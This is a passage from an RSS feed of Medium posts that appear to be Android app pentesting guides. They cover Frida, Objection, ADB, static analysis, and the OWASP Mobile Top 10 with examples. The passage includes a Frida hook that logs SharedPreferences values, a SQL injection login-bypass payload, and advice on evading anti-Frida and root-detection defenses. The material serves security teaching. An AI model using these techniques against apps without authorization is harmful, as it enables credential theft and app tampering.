hooks, the analyst must identify the precise class and method names relevant to the target operation. When static analysis of obfuscated code proves difficult, frida-trace provides a dynamic solution by automatically generating boilerplate JavaScript hooks for monitoring execution.</p><p>The tool uses the -j flag for Java class tracing, separating the class name and the method or constructor name with an exclamation mark (!). To rapidly find all methods related to cryptographic operations, for instance, the analyst can use wildcards:</p><blockquote>frida-trace -U -f com.app.package -j ‘javax.crypto.Cipher!*’</blockquote><p>This command automatically generates JavaScript scripts that log the entry and exit of every method within the javax.crypto.Cipher class when the application is spawned (-f). This profiling methodology allows the security professional to shift focus from exhausting static analysis to rapid dynamic profiling, quickly pinpointing the relevant code paths for functions responsible for encryption, storage, or security checks.</p><h4>5.2.2. Instrumentation Example 2: Hooking Local Storage Access (Shared Preferences)</h4><p>A common scenario in mobile testing is monitoring how an application stores session tokens, settings, or sensitive flags in local storage, often using Android’s SharedPreferences. A custom script can intercept these read and write operations.</p><p>By using Java.use(“android.app.SharedPreferencesImpl”) and hooking specific methods like getString or putStringSet, the analyst can log the key-value pairs being accessed. For instance, intercepting the</p><p>getString method, which is often overloaded based on arguments, requires careful use of the .overload() specifier.</p><p>JavaScript</p><blockquote>Java.perform(function() {<br> var sharedPreferences = Java.use(“android.app.SharedPreferencesImpl”);<br> sharedPreferences.getString.overload(‘java.lang.String’, ‘java.lang.String’).implementation = function(key, defaultValue) {<br> console.log(“[*] Reading SharedPreferences key: “ + key + “ with default: “ + defaultValue);<br> var value = this.getString(key, defaultValue);<br> console.log(“[*] Returned value: “ + value);<br> return value;<br> };<br> });</blockquote><p>The true utility of hooking is not just interception (logging arguments and results), but modification. As demonstrated in basic Frida tutorials, modifying functionality involves altering arguments on onEnter or controlling the return value of the implementation. This capability is fundamental to bypass techniques, where the return value of a security-critical function (e.g., one checking for valid credentials or a license flag) is explicitly overridden to a successful state.</p><h3>VI. Conclusions and Recommendations</h3><p>Building a dynamic analysis environment with <strong>ADB, Frida, and Objection</strong> provides security practitioners with a powerful and flexible toolkit. From configuring ADB on a Windows host to deploying the correct Frida server on a rooted device, success depends on attention to compatibility, PATH persistence, and CPU architecture alignment.</p><p>Key takeaways for analysts:</p><p>1. Verify connectivity first: Always confirm device communication with frida-ps -U before starting instrumentation.</p><p>2. Get timing right: Use -f (spawn) and — no-pause flags to bypass early protections like SSL pinning.</p><p>3. Adapt quickly: If Objection fails, move to deeper analysis with frida-trace and custom scripts.</p><p>4. Stay stealthy: Rename or relocate the Frida server to evade anti-Frida defenses.</p><p>Objection streamlines common tasks such as root detection bypass and SSL pinning removal, but advanced cases (native code, obfuscation) require escalation to community scripts or custom instrumentation.</p><p>By mastering these tools and practices, security teams can confidently perform <strong>resilient, end-to-end dynamic assessments</strong> of modern Android applications — staying one step ahead of evolving defenses.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da1a1812bd43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Definitive Guide to Android App Pentesting: From Fundamentals to Professional Reporting]]></title>
            <link>https://medium.com/@unKnOwn37/the-definitive-guide-to-android-app-pentesting-from-fundamentals-to-professional-reporting-78679afe56bd?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/78679afe56bd</guid>
            <category><![CDATA[android-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-architecture]]></category>
            <category><![CDATA[mobile-security]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Wed, 17 Sep 2025 16:23:08 GMT</pubDate>
            <atom:updated>2025-09-17T16:31:12.097Z</atom:updated>
            <content:encoded><![CDATA[<p>Android has become the world’s most widely deployed end-user operating system, powering billions of devices and a vast range of security-critical applications, from finance and health to communication and entertainment. As the platform’s utility has grown, so has the need for a robust and mature security ecosystem. Android application penetration testing is a specialized discipline that evaluates an app’s security posture by simulating the actions of a malicious actor. This report serves as a comprehensive guide to this process, detailing the foundational knowledge, essential tools, and advanced methodologies required to conduct a thorough security assessment and deliver professional, actionable findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*T9PaxZUV_lN1FUyITK6w2g.gif" /></figure><h3>Part 1: The Foundation of Android Security</h3><p>A successful penetration test requires more than just knowing how to use tools; it demands a deep understanding of the underlying system. The Android platform is built on a layered architecture and a unique security model that provides the foundation for all applications.</p><h4>A. Understanding Android Architecture for Security Professionals</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/0*C38c1fHj0HfYW06Q" /></figure><p>The Android operating system is structured as a software stack with five main components, each contributing to the system’s security and functionality.</p><p>At the very base is the <strong>Linux Kernel</strong>, which acts as the foundational layer, interacting directly with the device’s hardware. It manages critical functions such as memory and process management, providing a secure and reliable base on which the entire system operates.</p><p>Above the kernel, the <strong>Hardware Abstraction Layer (HAL)</strong> provides standardized interfaces that allow the Android OS to communicate with device-specific hardware components like the camera, audio, and sensors. This modular design ensures that Android can run on diverse hardware platforms without requiring significant modifications to the OS itself. The <strong>Android Runtime (ART)</strong> is the environment where all Android apps execute. ART replaced the older Dalvik runtime and enhances performance, memory management, and debugging capabilities through its use of Just-In-Time (JIT) and Ahead-Of-Time (AOT) compilation.</p><p>Parallel to ART are the <strong>Native C/C++ Libraries</strong>, which provide low-level system functionality used by both the runtime and applications. These include libraries for graphics (OpenGL), media (libMedia), and databases (SQLite), all of which are crucial for app performance and functionality.</p><p>The <strong>Application Framework</strong> sits atop these lower layers, providing high-level services and APIs that developers use to build their applications. This framework includes key components like the Activity Manager, which manages the lifecycle of apps, the Window Manager, which handles the rendering of content, and Content Providers, which facilitate data sharing between apps. Finally, the top layer consists of the</p><p><strong>Applications</strong> themselves, which include both the pre-installed system apps and all user-downloaded applications. This layered and modular design is central to the Android security model, enabling hardware compatibility, efficient resource management, and enhanced security and privacy.</p><h4>The Android Security Model and App Isolation (The Application Sandbox)</h4><p>The Android security model is a sophisticated framework designed to protect user privacy and data by leveraging a combination of sandboxing, permissions, and application signing. A core tenet of this model is its multi-party consent approach, which dictates that an action should only occur if all involved parties agree. The cornerstone of this model is the</p><p><strong>Application Sandbox</strong></p><p>Each Android application is assigned a unique Linux user ID (UID) and is run in its own isolated environment or “sandbox”. This kernel-level isolation, based on decades-old UNIX-style process and file permissions, prevents applications from directly interacting with each other. By default, an app cannot access another app’s files, data, or processes unless explicitly permitted. This strict isolation significantly minimizes the impact of a compromised application, as a malicious app is constrained to its own environment and cannot easily affect other apps or the system itself. The security model extends to all software above the kernel, including OS libraries, the application framework, and all apps, ensuring a consistent and robust security boundary.</p><h4>The Role of Permissions and App Signing</h4><p>Permissions are a critical mechanism for controlling an app’s access to sensitive data and system resources. These are declared in the <em>AndroidManifest.xml</em> file and are categorized into different protection levels based on their potential impact on user privacy and system security.</p><ul><li><strong>Normal Permissions:</strong> These are automatically granted at the time of installation and cover low-risk areas such as accessing the internet or setting the time zone.</li><li><strong>Signature Permissions:</strong> These are granted only to apps signed with the same certificate as the app defining the permission, allowing for secure data and resource sharing among applications from the same developer.</li><li><strong>Dangerous Permissions:</strong> These permissions cover high-risk areas, such as accessing contacts, location, the camera, or the microphone. They require explicit user approval at runtime, and the app cannot access the resource until the user grants consent. Users can also revoke these permissions at any time, which affects the app’s ability to perform certain tasks.</li></ul><p>Beyond permissions, every Android application is signed with a certificate, which uniquely identifies the app and its developer. This certificate allows the system and other applications to verify the authenticity and origin of the app. This signing process is a fundamental part of the trust model, as it maintains the integrity of the application and its developer’s identity throughout the ecosystem.</p><h3>B. The Power and Peril of Root Access</h3><h4>Defining Rooting for Penetration Testing</h4><p>Rooting is the process of gaining administrative or “superuser” privileges on an Android device. This elevates a user from a limited, non-privileged state to one with complete control over the device’s operating system, allowing for modifications that are typically restricted by manufacturers and carriers. For a penetration tester, rooting is a critical pre-requisite for performing deep-level security analysis, as it effectively removes the security sandbox designed to prevent app tampering.</p><h4>Why Root is Crucial for Pentesters</h4><p>The Android security sandbox, while an effective defense mechanism, is precisely what a penetration tester must bypass to simulate an advanced, on-device attacker. Root access provides the elevated privileges necessary to perform a range of in-depth security assessments that would otherwise be impossible. It allows for the unrestricted examination of the application’s private data directories, located at</p><p><em>/data/data/</em>, which are normally protected from other applications. This access is vital for reviewing how an app handles sensitive data, such as private keys, tokens, or databases, that are stored on the device.</p><p>Furthermore, root access is essential for bypassing security controls like SSL/certificate pinning. This security mechanism prevents Man-in-the-Middle (MITM) attacks by ensuring an app only trusts a specific set of certificates. However, for a pentester to intercept and analyze encrypted network traffic, this pinning must be bypassed, a task that typically requires elevated privileges. The dynamic instrumentation tools used for this, such as Frida and Objection, often require root access to inject code into running processes and manipulate app behavior in real-time, enabling deep-level monitoring and analysis.</p><h4>The Risks of Rooted Devices for Developers</h4><p>While rooting is a powerful tool for a security professional, it is considered a significant security risk from a developer’s perspective. When a device is rooted, its built-in security layers are weakened or completely bypassed, making it a “red flag” for any application running on it. Rooting can make a device more susceptible to malware, as malicious apps can exploit root privileges to access sensitive data or modify system files. It also exposes the device to data theft, as apps can bypass standard privacy controls and harvest personal information like passwords, emails, and banking details.</p><p>For these reasons, many applications that handle sensitive data, particularly financial and enterprise apps, implement sophisticated root detection mechanisms. These checks can look for the presence of a superuser binary (su), specific files or packages associated with rooting, or changes in system properties or file permissions. The goal of these measures is to prevent the app from running in an environment where its security model cannot be guaranteed.</p><p>This dynamic between pentester and developer creates a perpetual conflict. The pentester needs root access to test effectively, while the app developer must defend against it to protect their app and users. This cat-and-mouse game has led to the development of sophisticated root detection techniques and, in turn, equally advanced root-cloaking and bypass methods.</p><h3>Part 2: The Pentester’s Toolkit</h3><p>A comprehensive Android security assessment requires a diverse array of tools to conduct both static and dynamic analysis. The following section introduces the most essential tools in a pentester’s toolkit, providing a clear overview of their function and application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*B42arY-aDqI-MjIKZX3ltg.gif" /></figure><h3>A. Essential Tools for Android Pentesting</h3><h4>Static Analysis Tools</h4><p>Static analysis involves examining an application’s code and resources without executing it. These tools are the first line of defense, providing a blueprint of the app’s structure and potential vulnerabilities.</p><ul><li><strong>APKTool:</strong> This command-line utility is indispensable for reverse engineering Android APK files. Its primary function is to decompile and reassemble APKs, which are essentially ZIP archives containing the app’s resources and compiled code. By using<br><em>apktool d &lt;app_name.apk&gt;</em>, a pentester can extract the AndroidManifest.xml and other resource files into a human-readable format, allowing for easy inspection and modification. This tool is an essential first step for any static analysis, as it provides access to the app’s structural components.</li><li><strong>Jadx-GUI:</strong> This is a powerful, graphical tool for decompiling Android DEX bytecode into readable Java source code. While APKTool is excellent for resources and the manifest, <em>Jadx-GUI</em> is the primary tool for a detailed code review. It allows a pentester to open an APK file directly and view the application’s decompiled logic with highlighted syntax, making it easy to identify hardcoded secrets, analyze app functionality, and understand the code’s behavior. Jadx-GUI also includes a built-in deobfuscator, which is crucial for analyzing apps that use code obfuscation techniques to hinder reverse engineering.</li><li><strong>MobSF (Mobile Security Framework):</strong> MobSF is an automated, all-in-one framework for both static and dynamic analysis. It can perform a comprehensive scan of an APK file and generate a detailed report, identifying common vulnerabilities and misconfigurations automatically. MobSF is an excellent starting point for any assessment due to its user-friendly interface and ability to quickly identify issues such as insecure data storage, hardcoded credentials, and excessive permissions. Its automated nature and detailed reporting make it a valuable tool for both beginners and experienced professionals. MobSF can also check for insecure code patterns in Java and Kotlin source code .</li></ul><h4>Dynamic Analysis Tools</h4><p>Dynamic analysis evaluates the software’s behavior during runtime. This process is essential for identifying vulnerabilities that only manifest during execution, such as insecure communication or runtime logic flaws.</p><ul><li><strong>Frida:</strong> Often described as a dynamic instrumentation toolkit, Frida allows a pentester to inject their own code (written in JavaScript) into a running process. This capability provides a level of control that goes far beyond traditional debugging. With Frida, a security researcher can hook into any function, spy on cryptographic APIs, and modify app behavior in real-time without recompiling the application. It is the engine behind many advanced dynamic analysis techniques, including bypassing SSL pinning and root detection . Frida is most commonly used on rooted devices, but can also be used on debuggable apps without root.</li><li><strong>Objection:</strong> Built on top of Frida, Objection is a high-level, user-friendly framework that simplifies complex runtime analysis. It provides a command-line interface with pre-built modules for common pentesting tasks, such as bypassing SSL pinning, exploring an app’s file system, and dumping credentials stored in memory. Objection makes the power of Frida accessible to a wider audience, reducing the need for extensive scripting and allowing pentesters to perform powerful runtime exploration with simple commands.</li><li><strong>Burp Suite:</strong> As the industry-standard web proxy, Burp Suite is indispensable for intercepting, analyzing, and modifying all network traffic between the app and its backend servers. While not an Android-specific tool, its ability to proxy and manipulate HTTP and HTTPS requests makes it a critical component of any mobile security assessment. Burp Suite is used to identify insecure API endpoints, improper session management, and insecure data transmission.</li></ul><h3>B. Setting Up Your Environment</h3><p>A standard Android penetration testing environment requires a rooted device or emulator, with the necessary tools installed and configured to work together. The following steps outline a common setup for leveraging Burp Suite and Frida.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*0QVCoV3E1cu06CeT4uaNAQ.gif" /></figure><ol><li><strong>Setting up Burp Suite:</strong> The first step is to configure Burp Suite to act as a proxy listener. A pentester must add a new proxy listener in Burp’s settings, assigning it an available port and binding it to all network interfaces. Next, the Android device’s Wi-Fi network settings must be configured to manually route all traffic through the IP address and port of the machine running Burp Suite.</li><li><strong>Installing the Burp CA Certificate:</strong> Once traffic is routed, a pentester can intercept unencrypted HTTP communication. However, to analyze encrypted HTTPS traffic, the Android device must trust Burp’s built-in Certificate Authority (CA) certificate. The certificate is exported from Burp in .der format and then installed on the device. From Android 7 onwards, this process typically requires a rooted device to move the certificate into the system’s trust store, as unrooted devices will not accept user-installed certificates for system-wide trust.</li><li><strong>Installing Frida:</strong> With the device rooted and configured to proxy traffic, Frida can be installed to handle advanced runtime tasks. The frida-server binary, which is the core component, is downloaded and pushed to the rooted device using the Android Debug Bridge (adb). The binary is then made executable and run as the root user. On the host machine, the frida-tools Python package is installed to communicate with the server on the device, enabling a wide range of runtime analysis capabilities.</li></ol><p>The table below provides a concise summary of the essential tools and their primary functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*Iuy7ycJ4NDq9icZKsr1Kpg.png" /></figure><h3>Part 3: Static Analysis — The Reconnaissance Phase</h3><p>Static analysis is the process of dissecting an application’s files without executing it, providing a critical first look at its internal structure and potential vulnerabilities. This is often described as reviewing the application’s blueprint.</p><h4>A. Decoding the AndroidManifest.xml</h4><p>The AndroidManifest.xml file is the central configuration file for an Android application, acting as its blueprint and revealing its core components, permissions, and overall configuration. Static analysis of this file is an essential step that can quickly uncover significant misconfigurations and security flaws.</p><ul><li><strong>android:debuggable=”true”</strong>: This flag, when enabled in a production build, allows an attacker to attach a debugger to the app’s process. This facilitates detailed reverse engineering and runtime analysis, allowing an attacker to step through the code, inspect memory, and gain a deeper understanding of the app’s logic, which can then be used to bypass security controls or discover other vulnerabilities.</li><li><strong>android:allowBackup=”true”</strong>: This attribute, if set to true, enables an attacker with physical access to the device to back up and extract an app’s data using the Android backup service. This can lead to the exposure of sensitive information, such as user data, tokens, and private files that the app stores on the device. For production apps, this should be set to false to prevent unauthorized data exfiltration.</li><li><strong>Excessive Permissions:</strong> A thorough review of the &lt;uses-permission&gt; tags is crucial. Requesting permissions that are not strictly necessary for an app’s functionality (e.g., a flashlight app requiring location permissions) is a significant red flag. This can indicate poor security practices, a violation of user privacy, or a malicious attempt to gain access to sensitive data without a legitimate reason.</li><li><strong>Exported Components (android:exported=”true”)</strong>: The android:exported=”true” flag allows other applications to invoke a component, such as an Activity, Service, or Content Provider. If a sensitive component is exported without proper access controls, it can be exploited by a malicious app to perform unauthorized actions. For example, a hidden administrative activity could be invoked by a third-party app, or a Content Provider could be accessed to steal data. Pentesters must scrutinize all exported components to ensure they have appropriate permissions and are not vulnerable to insecure inter-process communication (IPC) attacks.</li><li><strong>App Signing Issue</strong>: The app’s signing configuration is critical to ensuring its integrity and authenticity. If an application is signed using debug keys or test certificates instead of a secure, production-grade key, attackers can easily repackage and distribute malicious versions of the app without detection. Debug keys are widely available, making them a weak security control. Additionally, improper management of signing keys or using outdated certificates can expose the app to signature spoofing and allow attackers to bypass app verification mechanisms. Penetration testers should always verify that only valid, secure, and environment-specific signing keys are used for production builds.</li><li><strong>Versioning &amp; Metadata Exposure</strong>: The AndroidManifest.xml file often contains version-related information, such as the versionCode and versionName, as well as metadata that can unintentionally expose sensitive details about the app’s structure and environment. Attackers can use this information to identify vulnerable versions of libraries or frameworks and exploit known security flaws. Unused features or permissions, if left in the metadata, can also provide insight into unnecessary functionality that could be targeted. It is essential to minimize the metadata and version information exposed in production apps, ensuring that only what is necessary is included, thereby reducing the attack surface and limiting reconnaissance opportunities for attackers.</li></ul><h3>B. Hunting for Hardcoded Secrets in Resource Files</h3><p>While analyzing the <strong>AndroidManifest.xml</strong> reveals structural flaws, hunting for hardcoded secrets in an app’s resource files is a separate but equally critical task. The <strong>strings.xml</strong> file, in particular, is a prime target for attackers. This file is intended to store text resources like phrases and labels, but developers often mistakenly hardcode sensitive information such as API keys, cryptographic keys, and secret tokens, believing it to be a protected or benign location. However, as this file is directly included in the app’s compiled binary, it is easily readable after decompilation.</p><p>The practice of hardcoding secrets in this manner represents a minor coding mistake with potentially catastrophic consequences. This seemingly insignificant flaw can lead to a complete breakdown of the application’s security model. The following sequence illustrates this vulnerability:</p><ol><li><strong>The Vulnerability:</strong> A developer, for convenience, stores a private API key in strings.xml. This is a seemingly minor bug, a common oversight that appears harmless at first glance.</li><li><strong>The Attack:</strong> An attacker downloads the application’s APK file. Using a simple static analysis tool like Jadx-GUI or APKTool, they decompile the app. They then perform a quick search for keywords such as “API key,” “secret,” or “password”. The hardcoded key is immediately revealed in the strings.xml file .</li><li><strong>The Impact:</strong> With the key now in their possession, the attacker can use a tool like Burp Suite or a simple command-line utility to authenticate directly with the backend API from their own machine. This bypasses all client-side security controls, including root detection, network encryption, and any permissions declared in the <em>AndroidManifest.xml</em>. The key acts as a valid, first-class credential, granting the attacker the same level of access as a legitimate instance of the application.</li><li><strong>The Broader Implications:</strong> The attacker can now perform a range of malicious activities, including data exfiltration, API abuse (such as bypassing rate limits or accessing other users’ data via an Insecure Direct Object Reference, or IDOR), or even launching a denial-of-service attack, all at the company’s expense. This demonstrates how one seemingly minor flaw can become the single point of failure that renders all other security efforts moot, leading to a major data breach or significant financial loss. Real-world case studies have revealed thousands of mobile applications with hardcoded AWS and Azure credentials, confirming that this is not a theoretical vulnerability but a widespread, high-impact problem.</li></ol><h3>C. Common Static Analysis Findings</h3><p>A comprehensive static analysis goes beyond just the manifest and hardcoded strings. It is a systematic review of the entire application’s structure to uncover a wide range of misconfigurations and poor coding practices.</p><h4>Manifest-Level Findings</h4><p>The AndroidManifest.xml is a treasure trove of information that can reveal critical security flaws.</p><ul><li><strong>android:debuggable=”true”</strong>: This attribute, when present in a production build, allows a debugger to be attached to the app, enabling a deep-level reverse engineering and runtime analysis.</li><li><strong>android:allowBackup=”true</strong>”: If this flag is enabled, an attacker with physical access to the device can back up and extract an app’s data, potentially exposing sensitive information from the app’s internal storage.</li><li><strong>android:usesCleartextTraffic=”true</strong>”: When set to true, this attribute allows an application to transmit data over unencrypted HTTP, making it highly susceptible to Man-in-the-Middle (MITM) attacks where an attacker can intercept and view sensitive data in plaintext.</li><li><strong>Exported Components</strong>: The <strong>android:exported=”true”</strong> flag on an activity, service, receiver, or content provider allows other apps to access them. Without proper access controls, this can lead to data exfiltration or allow a malicious app to trigger hidden, sensitive functionality.</li><li><strong>Custom Permissions</strong>: Developers can define custom permissions to protect their components. However, a malicious app can exploit typos in the permission name or a misused protectionLevel to gain unauthorized access to a protected component, compromising sensitive data or functionality.</li><li><strong>android:sharedUserId</strong>: This attribute, which is now discouraged, allows two or more applications to share the same user ID, enabling them to access each other’s data and even run in the same process. This can be extremely dangerous, as a vulnerability in one app could grant an attacker access to all data from the other app, effectively bypassing the Android sandbox.</li><li><strong>External Storage</strong>: While not in the manifest, the use of external storage is a major concern. If sensitive data is stored on external storage, any other app with the <strong>READ_EXTERNAL_STORAGE</strong> permission can access it, as this storage is world-readable by default on older Android versions. Newer Android versions (10+) enforce scoped storage to mitigate this, but older apps are still vulnerable.</li></ul><h4>App Logic and Hardcoded Data</h4><p>Static analysis of the application’s source code (Java/Smali) and resources can reveal a range of dangerous flaws.</p><ul><li><strong>API Keys / Secrets / Tokens</strong>: Sensitive information such as API keys, tokens, and backend URLs are frequently found hardcoded in strings.xml or directly in the source code. This is a critical risk, as an attacker can easily extract these credentials and use them to bypass all client-side security controls and interact directly with the backend API. Real-world examples have shown that this can lead to data exfiltration and denial-of-service attacks.</li><li><strong>Hardcoded Credentials</strong>: Beyond API keys, developers often hardcode credentials like usernames, passwords, or test accounts. A static scan can easily find these plaintext secrets, which can provide an attacker with a starting point for privilege escalation or unauthorized access.</li><li><strong>URLs / Endpoints</strong>: Hardcoded URLs and API endpoints can reveal the backend infrastructure, which can be an attack vector for finding hidden or unprotected API calls. A pentester can use this information to send direct requests to the server, bypassing any client-side input validation or security logic.</li><li><strong>Crypto Usage</strong>: An analysis of cryptographic functions can reveal the use of weak or broken algorithms (e.g., MD5, SHA1, DES, ECB mode), or the presence of hardcoded cryptographic keys that can be used to decrypt data. If an app uses a hardcoded key, an attacker can extract it and decrypt any data that was encrypted with it, leading to a complete compromise of data confidentiality.</li><li><strong>Third-Party SDKs / Libraries</strong>: The app may contain outdated or vulnerable third-party libraries. Attackers often target known vulnerabilities in older libraries, which are publicly disclosed in CVE databases. A static review can identify these components, which can be the initial point of compromise for a chain of exploits.</li><li><strong>License / Signature Validation Bypass</strong>: An analysis of the app’s code can reveal weak or easily bypassed license and signature validation checks. An attacker can use static analysis to find the code responsible for these checks and patch the application to bypass them, allowing them to run a pirated or modified version of the app.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*EnHqS-_0gb-jiMyidSv4Aw.gif" /></figure><h3><strong>Binary / Code-Level Findings</strong></h3><p>A deeper code review can reveal vulnerabilities that are not tied to the manifest or resources.</p><ul><li><strong>Native Libraries (.so files)</strong>: Native libraries, written in C/C++, are often used for performance-critical tasks. However, malicious code and secrets can be hidden in these libraries, as they are harder to reverse engineer than Java bytecode. A pentester can use tools like Ghidra to analyze these <strong>.so</strong> files for secrets or insecure cryptographic implementations.</li><li><strong>Logging Statements</strong>: Leaving sensitive logging statements (e.g., Log.d, Log.v) enabled in a production build can inadvertently leak private information to the system logs, which can be accessed by other applications on a rooted device. This can expose usernames, passwords, API responses, or other personally identifiable information (PII).</li><li><strong>WebView Settings</strong>: An insecure WebView can lead to serious vulnerabilities. If <em>setJavaScriptEnabled(true)</em> is used without proper restrictions or if <em>addJavascriptInterface</em> is used to expose an un-validated interface to JavaScript, a malicious website loaded in the WebView can execute arbitrary Java code on the device, potentially leading to a full compromise.</li><li><strong>Dynamic Code Loading</strong>: Dynamically loading code from remote sources (DexClassLoader, loadLibrary) introduces a significant risk. If an attacker can manipulate the code that is loaded, they could inject malicious logic, leading to data exfiltration or remote code execution.</li><li><strong>Reflection &amp; Hidden APIs</strong>: Using reflection to access hidden or non-SDK APIs can create security holes. While developers might use this for compatibility, a malicious app could use the same technique to bypass security controls or access hidden, dangerous functionality, such as stealing passwords.</li></ul><h3>Part 4: Dynamic Analysis — The Live Assessment</h3><p>Dynamic analysis is a critical phase of a security assessment that focuses on the application’s behavior at runtime. While static analysis provides the blueprint, dynamic analysis shows how the application functions in a live environment, revealing vulnerabilities that are invisible to a static review.</p><h4>A. The Purpose and Methodology of Runtime Analysis</h4><p>The distinction between static and dynamic analysis is crucial. Static analysis is a “white-box” approach that examines the code without executing it, while dynamic analysis is a “black-box” approach that observes the application’s behavior during execution. This is necessary because some vulnerabilities only manifest when the application is running, such as insecure communication, improper session management, or race conditions. Obfuscated code, in particular, is often difficult to analyze statically, but its true behavior is revealed during dynamic analysis.</p><p>The methodology for dynamic analysis involves several key techniques:</p><ul><li><strong>Network Traffic Interception:</strong> This is a fundamental technique for mobile pentesting. A pentester uses a proxy, such as Burp Suite, to intercept and analyze all network traffic between the app and its backend server. This process reveals unencrypted transmissions, insecure API endpoints, and weaknesses in authentication and authorization mechanisms.</li><li><strong>Memory Analysis:</strong> During runtime, an app may store sensitive data in memory that is not persisted to disk. Tools like Frida and Objection are used to extract memory dumps and search for insecurely stored secrets, such as API keys, tokens, or credentials that are only present during a user’s session.</li><li><strong>Runtime Manipulation:</strong> Dynamic instrumentation is the most powerful aspect of runtime analysis. By injecting code into the running process, a pentester can actively change the app’s behavior, which is how security controls like SSL pinning and root detection are bypassed. This allows the pentester to test an application’s resilience to tampering and simulate an attacker’s actions in a live environment.</li></ul><h3>B. OWASP Mobile Top 10: Practical Insights and Examples</h3><p>The OWASP Mobile Top 10 list is a valuable resource that serves as a benchmark for mobile application security. The most recent list reflects a maturing threat landscape, shifting its focus from simple coding flaws to broader, systemic issues like supply chain security and credential usage. The following examples detail several of these vulnerabilities, providing a practical look at how they are discovered and exploited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S33xJ1Qw2cs62aZh6ape_Q.png" /></figure><ul><li><strong>M1: Improper Credential Usage</strong>: This vulnerability involves the mishandling of credentials, including hardcoded secrets, insecure transmission, and insecure storage. A beginner can find this vulnerability during static analysis by searching for hardcoded credentials in files like <strong>strings.xml</strong>. A professional, however, will use dynamic analysis to confirm if the app relies on weak authentication protocols or insecurely transmits credentials.</li></ul><p>For example, a pentester might find hardcoded credentials and then use Burp Suite to confirm they can be used to authenticate directly to the backend from an external machine, demonstrating a complete bypass of the app’s security controls.</p><ul><li><strong>M2: Inadequate Supply Chain Security</strong>: This vulnerability arises when an application includes insecure third-party components, such as outdated libraries, or when malicious code is injected during the development or distribution process. An attacker can exploit known vulnerabilities in these dependencies to gain unauthorized access to the application or the user’s device.</li></ul><p>For instance, a threat actor could inject malware into a popular app’s codebase, sign it with a valid certificate, and distribute it through an app store, leading to data theft or system compromise for thousands of users.</p><ul><li><strong>M3: Insecure Authentication/Authorization</strong>: This flaw allows an attacker to impersonate a user, escalate privileges, or access unauthorized functionality. A pentester can find this during dynamic analysis by attempting to submit requests directly to the app’s backend server, bypassing the mobile app’s logic itself.</li></ul><p>For example, a professional pentester might use <strong>adb</strong> to trigger an exported activity (found via static analysis) with a low-privilege user and observe if a sensitive action, such as accessing another user’s account information (IDOR), is executed. This demonstrates a flaw in authorization where the backend fails to verify if the user is authorized to perform the action, regardless of how they are authenticated.</p><ul><li><strong>M4: Insufficient Input/Output Validation</strong>: This vulnerability occurs when an application fails to properly validate and sanitize user input, which can lead to injection attacks like SQL injection, cross-site scripting (XSS), or command injection. This can also happen with data flowing from the app to the backend.</li></ul><p>For example, a beginner might find a text field in an app that doesn’t filter special characters. A professional pentester would then input a malicious SQL payload, such as ‘ OR 1=1 — , to test if they can bypass a login form or access a local database. In another example, a flaw in a deep link could be exploited to manipulate the application’s file paths, allowing an attacker to read or write files outside of the app’s sandbox.</p><ul><li><strong>M5: Insecure Communication</strong>: This vulnerability occurs when an application transmits sensitive data without proper encryption, making it vulnerable to Man-in-the-Middle (MITM) attacks. While most apps use HTTPS, many still fail to implement certificate pinning.</li></ul><p>For example, a pentester can use Burp Suite to intercept an app’s HTTPS traffic. If the traffic is successfully intercepted without any security warnings on the device, it indicates a lack of certificate pinning. A professional will then use a Frida script to bypass the pinning, allowing them to intercept and manipulate the encrypted traffic, confirming the insecure API endpoints and potentially revealing sensitive data being transmitted.</p><ul><li><strong>M6: Inadequate Privacy Controls</strong>: This vulnerability involves the improper handling of sensitive user data, or PII (Personally Identifiable Information), which can lead to data leakage. This can occur through insecure logging where sensitive data is written to system logs, or by storing PII in URL parameters or device backups.</li></ul><p>For example, an app might log a user’s email and password to the system log for debugging. An attacker with a compromised device could easily read these logs and steal the credentials, even if the app’s internal storage is secure.</p><ul><li><strong>M7: Insufficient Binary Protections</strong>: This vulnerability category includes a lack of code obfuscation, anti-tampering, and anti-reversing techniques, which make it easier for an attacker to analyze and exploit the application. A pentester can detect this by attempting to modify or debug the application’s binary.</li></ul><p>For example, by attaching a debugger or using dynamic instrumentation tools like Frida. A professional can then use the lack of binary protections to bypass other security controls, such as root detection or license validation checks.</p><ul><li><strong>M8: Security Misconfiguration</strong>: This vulnerability occurs when an application or its backend services are configured improperly, creating security risks. A beginner can find this by looking for misconfigured settings in the AndroidManifest.xml file,</li></ul><p>such as <strong><em>android:debuggable=”true” or android:usesCleartextTraffic=”true”</em></strong>. A professional might also check for insecure cloud storage settings or exposed, undocumented API endpoints that can be exploited for data exfiltration or API abuse.</p><ul><li><strong>M9: Insecure Data Storage</strong>: This vulnerability arises when sensitive data is stored insecurely on the device’s file system, where it can be accessed by an attacker. This is a frequent discovery during both static and dynamic analysis. A pentester, after gaining root access, can navigate to the app’s private data directory ( /data/data/com.app.example/) and search for files and databases. A common finding is a plaintext database file or an unencrypted shared preferences file that contains user credentials, tokens, or other personally identifiable information. An attacker can then exfiltrate this data and use it for further attacks.</li><li><strong>M10: Insufficient Cryptography</strong>: This flaw involves the use of weak or outdated cryptographic algorithms, poor key management practices, or improper use of cryptographic functions.</li></ul><p>For example, an app might use the MD5 hash algorithm for password storage, which is known to be vulnerable to collision attacks. A pentester would identify the algorithm during static analysis and then, using a tool like a rainbow table, attempt to crack the hashed passwords if the database is obtained. This is different from a hardcoded key vulnerability (M1), as the issue is with the algorithm itself, not the storage of a key. This can also lead to data manipulation and tampering if the app’s integrity checks are based on a weak hash.</p><h3>Part 5: Professional Vulnerability Reporting</h3><p>The final and arguably most crucial stage of a penetration test is professional reporting. A report is not merely a list of bugs; it is a technical and strategic document that guides the client’s remediation efforts and helps them understand their business risk. An expert-level report must be clear, 